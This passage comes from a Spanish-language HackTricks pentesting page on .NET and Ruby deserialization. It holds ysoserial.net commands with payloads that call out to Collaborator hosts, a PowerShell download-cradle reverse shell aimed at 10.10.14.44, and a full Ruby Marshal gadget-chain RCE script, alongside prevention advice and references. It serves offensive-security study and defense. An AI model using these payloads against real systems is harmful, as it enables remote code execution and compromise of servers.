ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net también tiene un parámetro muy interesante que ayuda a comprender mejor cómo funciona cada exploit: --test
. Si indicas este parámetro, ysoserial.net intentará el exploit localmente, para que puedas probar si tu carga útil funcionará correctamente. Este parámetro es útil porque si revisas el código, encontrarás fragmentos de código como el siguiente (de ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Esto significa que para probar el exploit, el código llamará a serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
En el código anterior es vulnerable al exploit creado. Por lo tanto, si encuentras algo similar en una aplicación .Net, significa que probablemente esa aplicación también es vulnerable.
Por lo tanto, el parámetro --test
nos permite entender qué fragmentos de código son vulnerables al exploit de deserialización que puede crear ysoserial.net.
ViewState
Echa un vistazo a este POST sobre cómo intentar explotar el parámetro __ViewState de .Net para ejecutar código arbitrario. Si ya conoces los secretos utilizados por la máquina víctima, lee este post para saber cómo ejecutar código.
Prevención
No permitas que el flujo de datos defina el tipo de objeto al que se deserializará el flujo. Puedes prevenir esto utilizando, por ejemplo, DataContractSerializer
o XmlSerializer
si es posible.
Donde se esté utilizando JSON.Net
, asegúrate de que TypeNameHandling
solo esté configurado como None
.
TypeNameHandling = TypeNameHandling.None
Si se va a utilizar JavaScriptSerializer
, no lo utilice con un JavaScriptTypeResolver
.
Si es necesario deserializar flujos de datos que definen su propio tipo, entonces restrinja los tipos que se permiten deserializar. Uno debe ser consciente de que esto sigue siendo arriesgado, ya que muchos tipos nativos de .Net son potencialmente peligrosos en sí mismos. Por ejemplo,
System.IO.FileInfo
Los objetos FileInfo
que hacen referencia a archivos en el servidor pueden, al deserializarse, cambiar las propiedades de esos archivos, como por ejemplo, ponerlos en modo de solo lectura, lo que crea un potencial ataque de denegación de servicio.
Incluso si has limitado los tipos que pueden ser deserializados, recuerda que algunos tipos tienen propiedades que representan un riesgo. Por ejemplo, System.ComponentModel.DataAnnotations.ValidationException
tiene una propiedad Value
de tipo Object
. Si este tipo es permitido para la deserialización, un atacante puede establecer la propiedad Value
a cualquier tipo de objeto que elijan.
Se debe evitar que los atacantes puedan controlar el tipo que se instanciará. Si esto es posible, incluso DataContractSerializer
o XmlSerializer
pueden ser subvertidos.
// Action below is dangerous if the attacker can change the data in the database
var typename = GetTransactionTypeFromDatabase();
var serializer = new DataContractJsonSerializer(Type.GetType(typename));
var obj = serializer.ReadObject(ms);
La ejecución puede ocurrir dentro de ciertos tipos de .Net durante la deserialización. Crear un control como el que se muestra a continuación es ineficaz.
var suspectObject = myBinaryFormatter.Deserialize(untrustedData);
//Check below is too late! Execution may have already occurred.
if (suspectObject is SomeDangerousObjectType)
{
//generate warnings and dispose of suspectObject
}
Para BinaryFormatter
y JSON.Net
, es posible crear una forma más segura de control de lista blanca utilizando un SerializationBinder
personalizado.
Manténgase actualizado sobre los gadgets de deserialización inseguros conocidos de .Net y preste especial atención a los lugares donde dichos tipos pueden ser creados por sus procesos de deserialización. Un deserializador solo puede instanciar tipos que conoce.
Mantenga cualquier código que pueda crear gadgets potenciales separado de cualquier código que tenga conectividad a Internet. Como ejemplo, System.Windows.Data.ObjectDataProvider
utilizado en aplicaciones WPF es un gadget conocido que permite la invocación arbitraria de métodos. Sería arriesgado tener una referencia a este ensamblado en un proyecto de servicio REST que deserializa datos no confiables.
Referencias
- Documento sobre deserialización JSON en Java y .Net: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, charla: https://www.youtube.com/watch?v=oUAeWhW5b8c y diapositivas: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Ruby tiene dos métodos para implementar la serialización dentro de la biblioteca marshal: el primer método es dump que convierte un objeto en una secuencia de bytes (serializar). Y el segundo método es load para convertir la secuencia de bytes nuevamente en un objeto (deserializar).
Ruby utiliza HMAC para firmar el objeto serializado y guarda la clave en uno de los siguientes archivos:
- config/environment.rb
- config/initializers/secret_token.rb
- config/secrets.yml
- /proc/self/environ
Cadena de gadgets de deserialización genérica de Ruby 2.X a RCE (más información en https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Otra cadena de RCE para explotar Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.